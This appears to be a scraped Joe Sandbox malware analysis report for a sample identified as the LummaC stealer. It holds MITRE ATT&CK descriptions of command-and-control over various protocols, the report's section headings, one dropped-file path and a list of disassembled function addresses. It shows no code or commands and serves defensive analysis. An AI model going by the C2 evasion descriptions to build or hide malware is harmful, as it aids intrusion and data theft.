Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kewyIO69TI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kewyIO69TI.exe.log

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
kewyIO69TI.exe

Function 02CF2155 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 01200C40 Relevance: .3, Instructions: 322
COMMON

Function 01201218 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 01201220 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Function 0040D470 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 153
threadCOMMON

Function 00447AC9 Relevance: 5.3, Strings: 4, Instructions: 253
COMMON

Function 004476D0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Function 00447E1B Relevance: 1.3, Strings: 1, Instructions: 97
COMMON

Function 00447D38 Relevance: .5, Instructions: 487
COMMON

Function 0040F807 Relevance: .4, Instructions: 390
COMMON

Function 0040F042 Relevance: .3, Instructions: 268
COMMON

Function 0044445C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23
memoryCOMMON

Function 00444470 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 5
memoryCOMMON

Function 00447130 Relevance: 1.6, APIs: 1, Instructions: 74
memoryCOMMON

Function 00444490 Relevance: 1.6, APIs: 1, Instructions: 62
memoryCOMMON